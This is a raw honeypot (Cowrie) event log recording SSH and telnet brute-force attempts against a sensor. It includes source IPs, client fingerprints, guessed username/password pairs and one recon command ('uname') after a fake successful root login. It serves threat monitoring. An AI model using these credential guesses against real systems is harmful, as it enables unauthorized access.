{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:37.057251Z","src_ip":"166.1.60.230","session":"71213b19fba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdtd","password":"123456","message":"login attempt [sdtd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:37.109203Z","src_ip":"166.1.60.230","session":"71213b19fba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:38.115510Z","src_ip":"166.1.60.230","session":"71213b19fba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.75","src_port":46900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c8eda8bbd3d","protocol":"telnet","message":"New connection: 176.65.148.75:46900 (159.203.135.109:23) [session: 4c8eda8bbd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:28.842922Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53131,"dst_ip":"10.17.0.5","dst_port":22,"session":"6703f6b0263c","protocol":"ssh","message":"New connection: 2.57.121.112:53131 (10.17.0.5:22) [session: 6703f6b0263c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:43.679211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:43.683768Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:43.787735Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"313313","message":"login attempt [admin/313313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:44.275160Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121994","message":"login attempt [admin/31121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:45.381970Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121979","message":"login attempt [admin/31121979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:46.487871Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121976","message":"login attempt [admin/31121976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:47.593514Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311095","message":"login attempt [admin/311095] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:48.700484Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:49.807116Z","src_ip":"2.57.121.112","session":"6703f6b0263c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.206425666809082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:58:59.049256Z","src_ip":"176.65.148.75","session":"4c8eda8bbd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8802,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9acd66fb455","protocol":"ssh","message":"New connection: 2.57.121.112:8802 (159.203.135.109:22) [session: e9acd66fb455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:55.615283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:55.620399Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:55.720129Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"313313","message":"login attempt [admin/313313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:56.190650Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121994","message":"login attempt [admin/31121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:57.293303Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121979","message":"login attempt [admin/31121979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:58.394583Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121976","message":"login attempt [admin/31121976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:59:59.495162Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311095","message":"login attempt [admin/311095] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:00:00.598002Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:00:01.701036Z","src_ip":"2.57.121.112","session":"e9acd66fb455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51336,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b4054c404f","protocol":"ssh","message":"New connection: 195.178.110.218:51336 (10.17.0.5:22) [session: b8b4054c404f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:01:52.427281Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:01:52.504103Z","src_ip":"195.178.110.218","session":"b8b4054c404f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":44198,"dst_ip":"159.203.135.109","dst_port":22,"session":"328085cdbab9","protocol":"ssh","message":"New connection: 162.120.6.20:44198 (159.203.135.109:22) [session: 328085cdbab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.390294Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.459525Z","src_ip":"162.120.6.20","session":"328085cdbab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":44204,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3432c5d8849","protocol":"ssh","message":"New connection: 162.120.6.20:44204 (159.203.135.109:22) [session: e3432c5d8849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.523774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.527596Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.595403Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"postbox5050$","message":"login attempt [root/postbox5050$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.798261Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.965886Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:20.968749Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:21.038321Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:02:21.042703Z","src_ip":"162.120.6.20","session":"e3432c5d8849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40580,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a275281feee","protocol":"ssh","message":"New connection: 195.178.110.218:40580 (10.17.0.5:22) [session: 8a275281feee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:04:25.699609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:04:25.703578Z","src_ip":"195.178.110.218","session":"8a275281feee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:04:25.783064Z","src_ip":"195.178.110.218","session":"8a275281feee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:04:26.021356Z","src_ip":"195.178.110.218","session":"8a275281feee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:04:27.103548Z","src_ip":"195.178.110.218","session":"8a275281feee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38360,"dst_ip":"10.17.0.5","dst_port":22,"session":"75fd91ec0529","protocol":"ssh","message":"New connection: 195.178.110.218:38360 (10.17.0.5:22) [session: 75fd91ec0529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:07:08.059452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:07:08.064436Z","src_ip":"195.178.110.218","session":"75fd91ec0529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:07:08.144204Z","src_ip":"195.178.110.218","session":"75fd91ec0529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:07:08.383089Z","src_ip":"195.178.110.218","session":"75fd91ec0529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:07:09.469216Z","src_ip":"195.178.110.218","session":"75fd91ec0529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.40.61.98","src_port":38850,"dst_ip":"159.203.135.109","dst_port":23,"session":"407c007ffb61","protocol":"telnet","message":"New connection: 103.40.61.98:38850 (159.203.135.109:23) [session: 407c007ffb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:09:58.728167Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54220,"dst_ip":"10.17.0.5","dst_port":22,"session":"71736e1358f0","protocol":"ssh","message":"New connection: 195.178.110.218:54220 (10.17.0.5:22) [session: 71736e1358f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:03.247298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:03.252802Z","src_ip":"195.178.110.218","session":"71736e1358f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:03.335324Z","src_ip":"195.178.110.218","session":"71736e1358f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:03.575677Z","src_ip":"195.178.110.218","session":"71736e1358f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:04.657968Z","src_ip":"195.178.110.218","session":"71736e1358f0","protocol":"ssh"}
